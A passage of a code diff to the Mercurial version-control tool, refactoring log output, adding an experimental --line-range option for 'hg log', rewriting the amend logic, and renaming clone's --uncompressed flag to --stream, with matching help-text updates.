+            self._show(ctx, copies, matchfn, hunksfilterfn, props)
+
+    def _show(self, ctx, copies, matchfn, hunksfilterfn, props):
         '''show a single changeset or file revision'''
         changenode = ctx.node()
         rev = ctx.rev()
-        if self.ui.debugflag:
-            hexfunc = hex
-        else:
-            hexfunc = short
-        # as of now, wctx.node() and wctx.rev() return None, but we want to
-        # show the same values as {node} and {rev} templatekw
-        revnode = (scmutil.intrev(ctx), hexfunc(scmutil.binnode(ctx)))
 
         if self.ui.quiet:
-            self.ui.write("%d:%s\n" % revnode, label='log.node')
+            self.ui.write("%s\n" % scmutil.formatchangeid(ctx),
+                          label='log.node')
             return
 
         date = util.datestr(ctx.date())
 
         # i18n: column positioning for "hg log"
-        self.ui.write(_("changeset:   %d:%s\n") % revnode,
+        self.ui.write(_("changeset:   %s\n") % scmutil.formatchangeid(ctx),
                       label=_changesetlabels(ctx))
 
         # branches are shown first before any other names due to backwards
@@ -1560,16 +1648,15 @@
         for pctx in scmutil.meaningfulparents(self.repo, ctx):
             label = 'log.parent changeset.%s' % pctx.phasestr()
             # i18n: column positioning for "hg log"
-            self.ui.write(_("parent:      %d:%s\n")
-                          % (pctx.rev(), hexfunc(pctx.node())),
+            self.ui.write(_("parent:      %s\n") % scmutil.formatchangeid(pctx),
                           label=label)
 
         if self.ui.debugflag and rev is not None:
             mnode = ctx.manifestnode()
+            mrev = self.repo.manifestlog._revlog.rev(mnode)
             # i18n: column positioning for "hg log"
-            self.ui.write(_("manifest:    %d:%s\n") %
-                          (self.repo.manifestlog._revlog.rev(mnode),
-                           hex(mnode)),
+            self.ui.write(_("manifest:    %s\n")
+                          % scmutil.formatrevnode(self.ui, mrev, mnode),
                           label='ui.debug log.manifest')
         # i18n: column positioning for "hg log"
         self.ui.write(_("user:        %s\n") % ctx.user(),
@@ -1578,10 +1665,14 @@
         self.ui.write(_("date:        %s\n") % date,
                       label='log.date')
 
-        if ctx.troubled():
+        if ctx.isunstable():
             # i18n: column positioning for "hg log"
-            self.ui.write(_("trouble:     %s\n") % ', '.join(ctx.troubles()),
-                          label='log.trouble')
+            instabilities = ctx.instabilities()
+            self.ui.write(_("instability: %s\n") % ', '.join(instabilities),
+                          label='log.instability')
+
+        elif ctx.obsolete():
+            self._showobsfate(ctx)
 
         self._exthook(ctx)
 
@@ -1629,14 +1720,22 @@
                               label='log.summary')
         self.ui.write("\n")
 
-        self.showpatch(ctx, matchfn)
+        self.showpatch(ctx, matchfn, hunksfilterfn=hunksfilterfn)
+
+    def _showobsfate(self, ctx):
+        obsfate = templatekw.showobsfate(repo=self.repo, ctx=ctx, ui=self.ui)
+
+        if obsfate:
+            for obsfateline in obsfate:
+                # i18n: column positioning for "hg log"
+                self.ui.write(_("obsolete:    %s\n") % obsfateline,
+                              label='log.obsfate')
 
     def _exthook(self, ctx):
         '''empty method used by extension as a hook point
         '''
-        pass
-
-    def showpatch(self, ctx, matchfn):
+
+    def showpatch(self, ctx, matchfn, hunksfilterfn=None):
         if not matchfn:
             matchfn = self.matchfn
         if matchfn:
@@ -1647,12 +1746,14 @@
             prev = ctx.p1().node()
             if stat:
                 diffordiffstat(self.ui, self.repo, diffopts, prev, node,
-                               match=matchfn, stat=True)
+                               match=matchfn, stat=True,
+                               hunksfilterfn=hunksfilterfn)
             if diff:
                 if stat:
                     self.ui.write("\n")
                 diffordiffstat(self.ui, self.repo, diffopts, prev, node,
-                               match=matchfn, stat=False)
+                               match=matchfn, stat=False,
+                               hunksfilterfn=hunksfilterfn)
             self.ui.write("\n")
 
 class jsonchangeset(changeset_printer):
@@ -1669,7 +1770,7 @@
         else:
             self.ui.write("[]\n")
 
-    def _show(self, ctx, copies, matchfn, props):
+    def _show(self, ctx, copies, matchfn, hunksfilterfn, props):
         '''show a single changeset or file revision'''
         rev = ctx.rev()
         if rev is None:
@@ -1803,7 +1904,7 @@
             self.footer += templater.stringify(self.t(self._parts['docfooter']))
         return super(changeset_templater, self).close()
 
-    def _show(self, ctx, copies, matchfn, props):
+    def _show(self, ctx, copies, matchfn, hunksfilterfn, props):
         '''show a single changeset or file revision'''
         props = props.copy()
         props.update(templatekw.keywords)
@@ -1835,7 +1936,7 @@
         # write changeset metadata, then patch if requested
         key = self._parts[self._tref]
         self.ui.write(templater.stringify(self.t(key, **props)))
-        self.showpatch(ctx, matchfn)
+        self.showpatch(ctx, matchfn, hunksfilterfn=hunksfilterfn)
 
         if self._parts['footer']:
             if not self.footer:
@@ -1893,19 +1994,19 @@
     regular display via changeset_printer() is done.
     """
     # options
-    matchfn = None
+    match = None
     if opts.get('patch') or opts.get('stat'):
-        matchfn = scmutil.matchall(repo)
+        match = scmutil.matchall(repo)
 
     if opts.get('template') == 'json':
-        return jsonchangeset(ui, repo, matchfn, opts, buffered)
+        return jsonchangeset(ui, repo, match, opts, buffered)
 
     spec = _lookuplogtemplate(ui, opts.get('template'), opts.get('style'))
 
     if not spec.ref and not spec.tmpl and not spec.mapfile:
-        return changeset_printer(ui, repo, matchfn, opts, buffered)
-
-    return changeset_templater(ui, repo, spec, matchfn, opts, buffered)
+        return changeset_printer(ui, repo, match, opts, buffered)
+
+    return changeset_templater(ui, repo, spec, match, opts, buffered)
 
 def showmarker(fm, marker, index=None):
     """utility function to display obsolescence marker in a readable way
@@ -1913,7 +2014,7 @@
     To be used by debug function."""
     if index is not None:
         fm.write('index', '%i ', index)
-    fm.write('precnode', '%s ', hex(marker.precnode()))
+    fm.write('prednode', '%s ', hex(marker.prednode()))
     succs = marker.succnodes()
     fm.condwrite(succs, 'succnodes', '%s ',
                  fm.formatlist(map(hex, succs), name='node'))
@@ -2449,7 +2550,7 @@
         if not (revs.isdescending() or revs.istopo()):
             revs.sort(reverse=True)
     if expr:
-        matcher = revset.match(repo.ui, expr, order=revset.followorder)
+        matcher = revset.match(repo.ui, expr)
         revs = matcher(repo, revs)
     if limit is not None:
         limitedrevs = []
@@ -2475,7 +2576,7 @@
         return smartset.baseset([]), None, None
     expr, filematcher = _makelogrevset(repo, pats, opts, revs)
     if expr:
-        matcher = revset.match(repo.ui, expr, order=revset.followorder)
+        matcher = revset.match(repo.ui, expr)
         revs = matcher(repo, revs)
     if limit is not None:
         limitedrevs = []
@@ -2487,6 +2588,93 @@
 
     return revs, expr, filematcher
 
+def _parselinerangelogopt(repo, opts):
+    """Parse --line-range log option and return a list of tuples (filename,
+    (fromline, toline)).
+    """
+    linerangebyfname = []
+    for pat in opts.get('line_range', []):
+        try:
+            pat, linerange = pat.rsplit(',', 1)
+        except ValueError:
+            raise error.Abort(_('malformatted line-range pattern %s') % pat)
+        try:
+            fromline, toline = map(int, linerange.split(':'))
+        except ValueError:
+            raise error.Abort(_("invalid line range for %s") % pat)
+        msg = _("line range pattern '%s' must match exactly one file") % pat
+        fname = scmutil.parsefollowlinespattern(repo, None, pat, msg)
+        linerangebyfname.append(
+            (fname, util.processlinerange(fromline, toline)))
+    return linerangebyfname
+
+def getloglinerangerevs(repo, userrevs, opts):
+    """Return (revs, filematcher, hunksfilter).
+
+    "revs" are revisions obtained by processing "line-range" log options and
+    walking block ancestors of each specified file/line-range.
+
+    "filematcher(rev) -> match" is a factory function returning a match object
+    for a given revision for file patterns specified in --line-range option.
+    If neither --stat nor --patch options are passed, "filematcher" is None.
+
+    "hunksfilter(rev) -> filterfn(fctx, hunks)" is a factory function
+    returning a hunks filtering function.
+    If neither --stat nor --patch options are passed, "filterhunks" is None.
+    """
+    wctx = repo[None]
+
+    # Two-levels map of "rev -> file ctx -> [line range]".
+    linerangesbyrev = {}
+    for fname, (fromline, toline) in _parselinerangelogopt(repo, opts):
+        if fname not in wctx:
+            raise error.Abort(_('cannot follow file not in parent '
+                                'revision: "%s"') % fname)
+        fctx = wctx.filectx(fname)
+        for fctx, linerange in dagop.blockancestors(fctx, fromline, toline):
+            rev = fctx.introrev()
+            if rev not in userrevs:
+                continue
+            linerangesbyrev.setdefault(
+                rev, {}).setdefault(
+                    fctx.path(), []).append(linerange)
+
+    filematcher = None
+    hunksfilter = None
+    if opts.get('patch') or opts.get('stat'):
+
+        def nofilterhunksfn(fctx, hunks):
+            return hunks
+
+        def hunksfilter(rev):
+            fctxlineranges = linerangesbyrev.get(rev)
+            if fctxlineranges is None:
+                return nofilterhunksfn
+
+            def filterfn(fctx, hunks):
+                lineranges = fctxlineranges.get(fctx.path())
+                if lineranges is not None:
+                    for hr, lines in hunks:
+                        if hr is None: # binary
+                            yield hr, lines
+                            continue
+                        if any(mdiff.hunkinrange(hr[2:], lr)
+                               for lr in lineranges):
+                            yield hr, lines
+                else:
+                    for hunk in hunks:
+                        yield hunk
+
+            return filterfn
+
+        def filematcher(rev):
+            files = list(linerangesbyrev.get(rev, []))
+            return scmutil.matchfiles(repo, files)
+
+    revs = sorted(linerangesbyrev, reverse=True)
+
+    return revs, filematcher, hunksfilter
+
 def _graphnodeformatter(ui, displayer):
     spec = ui.config('ui', 'graphnodetemplate')
     if not spec:
@@ -2509,7 +2697,8 @@
     return formatnode
 
 def displaygraph(ui, repo, dag, displayer, edgefn, getrenamed=None,
-                 filematcher=None):
+                 filematcher=None, props=None):
+    props = props or {}
     formatnode = _graphnodeformatter(ui, displayer)
     state = graphmod.asciistate()
     styles = state['styles']
@@ -2546,14 +2735,18 @@
         revmatchfn = None
         if filematcher is not None:
             revmatchfn = filematcher(ctx.rev())
-        displayer.show(ctx, copies=copies, matchfn=revmatchfn)
+        edges = edgefn(type, char, state, rev, parents)
+        firstedge = next(edges)
+        width = firstedge[2]
+        displayer.show(ctx, copies=copies, matchfn=revmatchfn,
+                       _graphwidth=width, **props)
         lines = displayer.hunk.pop(rev).split('\n')
         if not lines[-1]:
             del lines[-1]
         displayer.flush(ctx)
-        edges = edgefn(type, char, lines, state, rev, parents)
-        for type, char, lines, coldata in edges:
+        for type, char, width, coldata in itertools.chain([firstedge], edges):
             graphmod.ascii(ui, state, type, char, lines, coldata)
+            lines = []
     displayer.close()
 
 def graphlog(ui, repo, pats, opts):
@@ -2602,8 +2795,8 @@
     dirstate = repo.dirstate
     # We don't want to just call wctx.walk here, since it would return a lot of
     # clean files, which we aren't interested in and takes time.
-    for f in sorted(dirstate.walk(badmatch, sorted(wctx.substate),
-                                  True, False, full=False)):
+    for f in sorted(dirstate.walk(badmatch, subrepos=sorted(wctx.substate),
+                                  unknown=True, ignored=False, full=False)):
         exact = match.exact(f)
         if exact or not explicitonly and f not in wctx and repo.wvfs.lexists(f):
             if cca:
@@ -2892,20 +3085,15 @@
     dsguard = None
     # extract addremove carefully -- this function can be called from a command
     # that doesn't support addremove
-    try:
-        if opts.get('addremove'):
-            dsguard = dirstateguard.dirstateguard(repo, 'commit')
+    if opts.get('addremove'):
+        dsguard = dirstateguard.dirstateguard(repo, 'commit')
+    with dsguard or util.nullcontextmanager():
+        if dsguard:
             if scmutil.addremove(repo, matcher, "", opts) != 0:
                 raise error.Abort(
                     _("failed to mark all new/missing files as added/removed"))
 
-        r = commitfunc(ui, repo, message, matcher, opts)
-        if dsguard:
-            dsguard.close()
-        return r
-    finally:
-        if dsguard:
-            dsguard.release()
+        return commitfunc(ui, repo, message, matcher, opts)
 
 def samefile(f, ctx1, ctx2):
     if f in ctx1.manifest():
@@ -2919,7 +3107,7 @@
     else:
         return f not in ctx2.manifest()
 
-def amend(ui, repo, commitfunc, old, extra, pats, opts):
+def amend(ui, repo, old, extra, pats, opts):
     # avoid cycle context -> subrepo -> cmdutil
     from . import context
 
@@ -2931,44 +3119,29 @@
     ui.note(_('amending changeset %s\n') % old)
     base = old.p1()
 
-    newid = None
     with repo.wlock(), repo.lock(), repo.transaction('amend'):
-        # See if we got a message from -m or -l, if not, open the editor
-        # with the message of the changeset to amend
-        message = logmessage(ui, opts)
-        # ensure logfile does not conflict with later enforcement of the
-        # message. potential logfile content has been processed by
-        # `logmessage` anyway.
-        opts.pop('logfile')
-        # First, do a regular commit to record all changes in the working
-        # directory (if there are any)
-        ui.callhooks = False
-        activebookmark = repo._bookmarks.active
-        try:
-            repo._bookmarks.active = None
-            opts['message'] = 'temporary amend commit for %s' % old
-            node = commit(ui, repo, commitfunc, pats, opts)
-        finally:
-            repo._bookmarks.active = activebookmark
-            ui.callhooks = True
-        ctx = repo[node]
-
         # Participating changesets:
         #
-        # node/ctx o - new (intermediate) commit that contains changes
-        #          |   from working dir to go into amending commit
-        #          |   (or a workingctx if there were no changes)
+        # wctx     o - workingctx that contains changes from working copy
+        #          |   to go into amending commit
         #          |
         # old      o - changeset to amend
         #          |
-        # base     o - parent of amending changeset
+        # base     o - first parent of the changeset to amend
+        wctx = repo[None]
 
         # Update extra dict from amended commit (e.g. to preserve graft
         # source)
         extra.update(old.extra())
 
-        # Also update it from the intermediate commit or from the wctx
-        extra.update(ctx.extra())
+        # Also update it from the from the wctx
+        extra.update(wctx.extra())
+
+        user = opts.get('user') or old.user()
+        date = opts.get('date') or old.date()
+
+        # Parse the date to allow comparison between date and old.date()
+        date = util.parsedate(date)
 
         if len(old.parents()) > 1:
             # ctx.files() isn't reliable for merges, so fall back to the
@@ -2978,30 +3151,47 @@
         else:
             files = set(old.files())
 
-        # Second, we use either the commit we just did, or if there were no
-        # changes the parent of the working directory as the version of the
-        # files in the final amend commit
-        if node:
-            ui.note(_('copying changeset %s to %s\n') % (ctx, base))
-
-            user = ctx.user()
-            date = ctx.date()
+        # add/remove the files to the working copy if the "addremove" option
+        # was specified.
+        matcher = scmutil.match(wctx, pats, opts)
+        if (opts.get('addremove')
+            and scmutil.addremove(repo, matcher, "", opts)):
+            raise error.Abort(
+                _("failed to mark all new/missing files as added/removed"))
+
+        filestoamend = set(f for f in wctx.files() if matcher(f))
+
+        changes = (len(filestoamend) > 0)
+        if changes:
             # Recompute copies (avoid recording a -> b -> a)
-            copied = copies.pathcopies(base, ctx)
+            copied = copies.pathcopies(base, wctx, matcher)
             if old.p2:
-                copied.update(copies.pathcopies(old.p2(), ctx))
+                copied.update(copies.pathcopies(old.p2(), wctx, matcher))
 
             # Prune files which were reverted by the updates: if old
-            # introduced file X and our intermediate commit, node,
-            # renamed that file, then those two files are the same and
+            # introduced file X and the file was renamed in the working
+            # copy, then those two files are the same and
             # we can discard X from our list of files. Likewise if X
             # was deleted, it's no longer relevant
-            files.update(ctx.files())
-            files = [f for f in files if not samefile(f, ctx, base)]
+            files.update(filestoamend)
+            files = [f for f in files if not samefile(f, wctx, base)]
 
             def filectxfn(repo, ctx_, path):
                 try:
-                    fctx = ctx[path]
+                    # If the file being considered is not amongst the files
+                    # to be amended, we should return the file context from the
+                    # old changeset. This avoids issues when only some files in
+                    # the working copy are being amended but there are also
+                    # changes to other files from the old changeset.
+                    if path not in filestoamend:
+                        return old.filectx(path)
+
+                    fctx = wctx[path]
+
+                    # Return None for removed files.
+                    if not fctx.exists():
+                        return None
+
                     flags = fctx.flags()
                     mctx = context.memfilectx(repo,
                                               fctx.path(), fctx.data(),
@@ -3021,11 +3211,14 @@
                 except KeyError:
                     return None
 
-            user = opts.get('user') or old.user()
-            date = opts.get('date') or old.date()
+        # See if we got a message from -m or -l, if not, open the editor with
+        # the message of the changeset to amend.
+        message = logmessage(ui, opts)
+
         editform = mergeeditform(old, 'commit.amend')
         editor = getcommiteditor(editform=editform,
                                  **pycompat.strkwargs(opts))
+
         if not message:
             editor = getcommiteditor(edit=True, editform=editform)
             message = old.description()
@@ -3044,7 +3237,7 @@
                              editor=editor)
 
         newdesc = changelog.stripdesc(new.description())
-        if ((not node)
+        if ((not changes)
             and newdesc == old.description()
             and user == old.user()
             and date == old.date()
@@ -3055,23 +3248,41 @@
             # This not what we expect from amend.
             return old.node()
 
-        ph = repo.ui.config('phases', 'new-commit', phases.draft)
-        try:
-            if opts.get('secret'):
-                commitphase = 'secret'
-            else:
-                commitphase = old.phase()
-            repo.ui.setconfig('phases', 'new-commit', commitphase, 'amend')
+        if opts.get('secret'):
+            commitphase = 'secret'
+        else:
+            commitphase = old.phase()
+        overrides = {('phases', 'new-commit'): commitphase}
+        with ui.configoverride(overrides, 'amend'):
             newid = repo.commitctx(new)
-        finally:
-            repo.ui.setconfig('phases', 'new-commit', ph, 'amend')
-        if newid != old.node():
-            # Reroute the working copy parent to the new changeset
-            repo.setparents(newid, nullid)
-            mapping = {old.node(): (newid,)}
-            if node:
-                mapping[node] = ()
-            scmutil.cleanupnodes(repo, mapping, 'amend')
+
+        # Reroute the working copy parent to the new changeset
+        repo.setparents(newid, nullid)
+        mapping = {old.node(): (newid,)}
+        obsmetadata = None
+        if opts.get('note'):
+            obsmetadata = {'note': opts['note']}
+        scmutil.cleanupnodes(repo, mapping, 'amend', metadata=obsmetadata)
+
+        # Fixing the dirstate because localrepo.commitctx does not update
+        # it. This is rather convenient because we did not need to update
+        # the dirstate for all the files in the new commit which commitctx
+        # could have done if it updated the dirstate. Now, we can
+        # selectively update the dirstate only for the amended files.
+        dirstate = repo.dirstate
+
+        # Update the state of the files which were added and
+        # and modified in the amend to "normal" in the dirstate.
+        normalfiles = set(wctx.modified() + wctx.added()) & filestoamend
+        for f in normalfiles:
+            dirstate.normal(f)
+
+        # Update the state of files which were removed in the amend
+        # to "removed" in the dirstate.
+        removedfiles = set(wctx.removed()) & filestoamend
+        for f in removedfiles:
+            dirstate.drop(f)
+
     return newid
 
 def commiteditor(repo, ctx, subs, editform=''):
@@ -3109,7 +3320,7 @@
 
     editortext = repo.ui.edit(committext, ctx.user(), ctx.extra(),
                               editform=editform, pending=pending,
-                              repopath=repo.path)
+                              repopath=repo.path, action='commit')
     text = editortext
 
     # strip away anything below this special string (used for editors that want
@@ -3511,7 +3722,6 @@
 
 def _revertprefetch(repo, ctx, *files):
     """Let extension changing the storage layer prefetch content"""
-    pass
 
 def _performrevert(repo, parents, ctx, actions, interactive=False,
                    tobackup=None):
@@ -3601,7 +3811,7 @@
             if reversehunks:
                 chunks = patch.reversehunks(chunks)
 
-        except patch.PatchError as err:
+        except error.PatchError as err:
             raise error.Abort(_('error parsing patch: %s') % err)
 
         newlyaddedandmodifiedfiles = newandmodified(chunks, originalchunks)
@@ -3623,7 +3833,7 @@
         if dopatch:
             try:
                 patch.internalpatch(repo.ui, repo, fp, 1, eolmode=None)
-            except patch.PatchError as err:
+            except error.PatchError as err:
                 raise error.Abort(str(err))
         del fp
     else:
diff --git a/mercurial/color.py b/mercurial/color.py
--- a/mercurial/color.py
+++ b/mercurial/color.py
@@ -95,9 +95,9 @@
     'diff.inserted': 'green',
     'diff.tab': '',
     'diff.trailingwhitespace': 'bold red_background',
-    'changeset.public' : '',
-    'changeset.draft' : '',
-    'changeset.secret' : '',
+    'changeset.public': '',
+    'changeset.draft': '',
+    'changeset.secret': '',
     'diffstat.deleted': 'red',
     'diffstat.inserted': 'green',
     'histedit.remaining': 'red bold',
@@ -130,7 +130,7 @@
 def loadcolortable(ui, extname, colortable):
     _defaultstyles.update(colortable)
 
-def _terminfosetup(ui, mode):
+def _terminfosetup(ui, mode, formatted):
     '''Initialize terminfo data and the terminal if we're in terminfo mode.'''
 
     # If we failed to load curses, we go ahead and return.
@@ -164,8 +164,8 @@
             del ui._terminfoparams[key]
     if not curses.tigetstr('setaf') or not curses.tigetstr('setab'):
         # Only warn about missing terminfo entries if we explicitly asked for
-        # terminfo mode.
-        if mode == "terminfo":
+        # terminfo mode and we're in a formatted terminal.
+        if mode == "terminfo" and formatted:
             ui.warn(_("no terminfo entry for setab/setaf: reverting to "
               "ECMA-48 color\n"))
         ui._terminfoparams.clear()
@@ -210,7 +210,7 @@
         mode = ui.config('color', 'pagermode', mode)
 
     realmode = mode
-    if pycompat.osname == 'nt':
+    if pycompat.iswindows:
         from . import win32
 
         term = encoding.environ.get('TERM')
@@ -242,7 +242,7 @@
     def modewarn():
         # only warn if color.mode was explicitly set and we're in
         # a formatted terminal
-        if mode == realmode and ui.formatted():
+        if mode == realmode and formatted:
             ui.warn(_('warning: failed to set color mode to %s\n') % mode)
 
     if realmode == 'win32':
@@ -253,7 +253,7 @@
     elif realmode == 'ansi':
         ui._terminfoparams.clear()
     elif realmode == 'terminfo':
-        _terminfosetup(ui, mode)
+        _terminfosetup(ui, mode, formatted)
         if not ui._terminfoparams:
             ## FIXME Shouldn't we return None in this case too?
             modewarn()
@@ -320,10 +320,10 @@
 def _mergeeffects(text, start, stop):
     """Insert start sequence at every occurrence of stop sequence
 
-    >>> s = _mergeeffects('cyan', '[C]', '|')
-    >>> s = _mergeeffects(s + 'yellow', '[Y]', '|')
-    >>> s = _mergeeffects('ma' + s + 'genta', '[M]', '|')
-    >>> s = _mergeeffects('red' + s, '[R]', '|')
+    >>> s = _mergeeffects(b'cyan', b'[C]', b'|')
+    >>> s = _mergeeffects(s + b'yellow', b'[Y]', b'|')
+    >>> s = _mergeeffects(b'ma' + s + b'genta', b'[M]', b'|')
+    >>> s = _mergeeffects(b'red' + s, b'[R]', b'|')
     >>> s
     '[R]red[M]ma[Y][C]cyan|[R][M][Y]yellow|[R][M]genta|'
     """
@@ -379,7 +379,7 @@
     return msg
 
 w32effects = None
-if pycompat.osname == 'nt':
+if pycompat.iswindows:
     import ctypes
 
     _kernel32 = ctypes.windll.kernel32
diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -326,12 +326,12 @@
         hexfn = rootfm.hexfunc
         formatrev = formathex = pycompat.bytestr
 
-    opmap = [('user', ' ', lambda x: x[0].user(), ui.shortuser),
-             ('number', ' ', lambda x: x[0].rev(), formatrev),
-             ('changeset', ' ', lambda x: hexfn(x[0].node()), formathex),
-             ('date', ' ', lambda x: x[0].date(), util.cachefunc(datefunc)),
-             ('file', ' ', lambda x: x[0].path(), str),
-             ('line_number', ':', lambda x: x[1], str),
+    opmap = [('user', ' ', lambda x: x.fctx.user(), ui.shortuser),
+             ('number', ' ', lambda x: x.fctx.rev(), formatrev),
+             ('changeset', ' ', lambda x: hexfn(x.fctx.node()), formathex),
+             ('date', ' ', lambda x: x.fctx.date(), util.cachefunc(datefunc)),
+             ('file', ' ', lambda x: x.fctx.path(), str),
+             ('line_number', ':', lambda x: x.lineno, str),
             ]
     fieldnamemap = {'number': 'rev', 'changeset': 'node'}
 
@@ -400,7 +400,11 @@
         for f, p, l in zip(zip(*formats), zip(*pieces), lines):
             fm.startitem()
             fm.write(fields, "".join(f), *p)
-            fm.write('line', ": %s", l[1])
+            if l[0].skip:
+                fmt = "* %s"
+            else:
+                fmt = ": %s"
+            fm.write('line', fmt, l[1])
 
         if not lines[-1][1].endswith('\n'):
             fm.plain('\n')
@@ -477,9 +481,9 @@
             prefix = os.path.basename(repo.root) + '-%h'
 
     prefix = cmdutil.makefilename(repo, prefix, node)
-    matchfn = scmutil.match(ctx, [], opts)
+    match = scmutil.match(ctx, [], opts)
     archival.archive(repo, dest, node, kind, not opts.get('no_decode'),
-                     matchfn, prefix, subrepos=opts.get('subrepos'))
+                     match, prefix, subrepos=opts.get('subrepos'))
 
 @command('backout',
     [('', 'merge', None, _('merge with old dirstate parent after backout')),
@@ -917,6 +921,9 @@
     diverged, a new 'divergent bookmark' of the form 'name@path' will
     be created. Using :hg:`merge` will resolve the divergence.
 
+    Specifying bookmark as '.' to -m or -d options is equivalent to specifying
+    the active bookmark's name.
+
     A bookmark named '@' has the special property that :hg:`clone` will
     check it out by default if it exists.
 
@@ -962,12 +969,14 @@
     if delete or rename or names or inactive:
         with repo.wlock(), repo.lock(), repo.transaction('bookmark') as tr:
             if delete:
+                names = pycompat.maplist(repo._bookmarks.expandname, names)
                 bookmarks.delete(repo, tr, names)
             elif rename:
                 if not names:
                     raise error.Abort(_("new bookmark name required"))
                 elif len(names) > 1:
                     raise error.Abort(_("only one new bookmark name allowed"))
+                rename = repo._bookmarks.expandname(rename)
                 bookmarks.rename(repo, tr, rename, names[0], force, inactive)
             elif names:
                 bookmarks.addbookmarks(repo, tr, names, rev, force, inactive)
@@ -1072,7 +1081,10 @@
     allheads = set(repo.heads())
     branches = []
     for tag, heads, tip, isclosed in repo.branchmap().iterbranches():
-        isactive = not isclosed and bool(set(heads) & allheads)
+        isactive = False
+        if not isclosed:
+            openheads = set(repo.branchmap().iteropen(heads))
+            isactive = bool(openheads & allheads)
         branches.append((tag, repo[tip], isactive, not isclosed))
     branches.sort(key=lambda i: (i[2], i[1].rev(), i[0], i[3]),
                   reverse=True)
@@ -1286,7 +1298,10 @@
     ('r', 'rev', [], _('include the specified changeset'), _('REV')),
     ('b', 'branch', [], _('clone only the specified branch'), _('BRANCH')),
     ('', 'pull', None, _('use pull protocol to copy metadata')),
-    ('', 'uncompressed', None, _('use uncompressed transfer (fast over LAN)')),
+    ('', 'uncompressed', None,
+       _('an alias to --stream (DEPRECATED)')),
+    ('', 'stream', None,
+       _('clone with minimal data processing')),
     ] + remoteopts,
     _('[OPTION]... SOURCE [DEST]'),
     norepo=True)
@@ -1317,6 +1332,19 @@
     their ancestors. These options (or 'clone src#rev dest') imply
     --pull, even for local source repositories.
 
+    In normal clone mode, the remote normalizes repository data into a common
+    exchange format and the receiving end translates this data into its local
+    storage format. --stream activates a different clone mode that essentially
+    copies repository files from the remote with minimal data processing. This
+    significantly reduces the CPU cost of a clone both remotely and locally.
+    However, it often increases the transferred data size by 30-40%. This can
+    result in substantially faster clones where I/O throughput is plentiful,
+    especially for larger repositories. A side-effect of --stream clones is
+    that storage settings and requirements on the remote are applied locally:
+    a modern client may inherit legacy or inefficient storage used by the
+    remote or a legacy Mercurial client may not be able to clone from a
+    modern Mercurial remote.
+
     .. note::
 
        Specifying a tag will include the tagged changeset but not the
@@ -1331,18 +1359,6 @@
       incorrectly, but do not report errors. In these cases, use the
       --pull option to avoid hardlinking.
 
-      In some cases, you can clone repositories and the working
-      directory using full hardlinks with ::
-
-        $ cp -al REPO REPOCLONE
-
-      This is the fastest way to clone, but it is not always safe. The
-      operation is not atomic (making sure REPO is not modified during
-      the operation is up to you) and you have to make sure your
-      editor breaks hardlinks (Emacs and most Linux Kernel tools do
-      so). Also, this is not compatible with certain extensions that
-      place their metadata under the .hg directory, such as mq.
-
       Mercurial will update the working directory to the first applicable
       revision from this list:
 
@@ -1380,10 +1396,9 @@
 
           hg clone ssh://user@server//home/projects/alpha/
 
-      - do a high-speed clone over a LAN while checking out a
-        specified version::
-
-          hg clone --uncompressed http://server/repo -u 1.5
+      - do a streaming clone while checking out a specified version::
+
+          hg clone --stream http://server/repo -u 1.5
 
       - create a repository without changesets after a particular revision::
 
@@ -1403,7 +1418,7 @@
 
     r = hg.clone(ui, opts, source, dest,
                  pull=opts.get('pull'),
-                 stream=opts.get('uncompressed'),
+                 stream=opts.get('stream') or opts.get('uncompressed'),
                  rev=opts.get('rev'),
                  update=opts.get('updaterev') or not opts.get('noupdate'),
                  branch=opts.get('branch'),
@@ -1542,15 +1557,7 @@
         if not obsolete.isenabled(repo, obsolete.createmarkersopt):
             cmdutil.checkunfinished(repo)
 
-        # commitfunc is used only for temporary amend commit by cmdutil.amend
-        def commitfunc(ui, repo, message, match, opts):
-            return repo.commit(message,
-                               opts.get('user') or old.user(),
-                               opts.get('date') or old.date(),
-                               match,
-                               extra=extra)
-
-        node = cmdutil.amend(ui, repo, commitfunc, old, extra, pats, opts)
+        node = cmdutil.amend(ui, repo, old, extra, pats, opts)
         if node == old.node():
             ui.status(_("nothing changed\n"))
             return 1
@@ -1644,8 +1651,8 @@
                 samplehgrc = uimod.samplehgrcs['user']
 
             f = paths[0]
-            fp = open(f, "w")
-            fp.write(samplehgrc)
+            fp = open(f, "wb")
+            fp.write(util.tonativeeol(samplehgrc))
             fp.close()
 
         editor = ui.geteditor()
@@ -2150,7 +2157,7 @@
     skipped = set()
     # check for merges
     for rev in repo.revs('%ld and merge()', revs):
-        ui.warn(_('skipping ungraftable merge revision %s\n') % rev)
+        ui.warn(_('skipping ungraftable merge revision %d\n') % rev)
         skipped.add(rev)
     revs = [r for r in revs if r not in skipped]
     if not revs:
@@ -2481,7 +2488,7 @@
 
     skip = {}
     revfiles = {}
-    matchfn = scmutil.match(repo[None], pats, opts)
+    match = scmutil.match(repo[None], pats, opts)
     found = False
     follow = opts.get('follow')
 
@@ -2522,7 +2529,7 @@
 
     ui.pager('grep')
     fm = ui.formatter('grep', opts)
-    for ctx in cmdutil.walkchangerevs(repo, matchfn, opts, prep):
+    for ctx in cmdutil.walkchangerevs(repo, match, opts, prep):
         rev = ctx.rev()
         parent = ctx.p1().rev()
         for fn in sorted(revfiles.get(rev, [])):
@@ -3227,6 +3234,9 @@
     ('k', 'keyword', [],
      _('do case-insensitive search for a given text'), _('TEXT')),
     ('r', 'rev', [], _('show the specified revision or revset'), _('REV')),
+    ('L', 'line-range', [],
+     _('follow line range of specified file (EXPERIMENTAL)'),
+     _('FILE,RANGE')),
     ('', 'removed', None, _('include revisions where files were removed')),
     ('m', 'only-merges', None, _('show only merges (DEPRECATED)')),
     ('u', 'user', [], _('revisions committed by user'), _('USER')),
@@ -3268,6 +3278,14 @@
     Paths in the DAG are represented with '|', '/' and so forth. ':' in place
     of a '|' indicates one or more revisions in a path are omitted.
 
+    .. container:: verbose
+
+       Use -L/--line-range FILE,M:N options to follow the history of lines
+       from M to N in FILE. With -p/--patch only diff hunks affecting
+       specified line range will be shown. This option requires --follow;
+       it can be specified multiple times. Currently, this option is not
+       compatible with --graph. This option is experimental.
+
     .. note::
 
        :hg:`log --patch` may generate unexpected diff output for merge
@@ -3283,6 +3301,14 @@
 
     .. container:: verbose
 
+       .. note::
+
+          The history resulting from -L/--line-range options depends on diff
+          options; for instance if white-spaces are ignored, respective changes
+          with only white-spaces in specified line range will not be listed.
+
+    .. container:: verbose
+
       Some examples:
 
       - changesets with full descriptions and file lists::
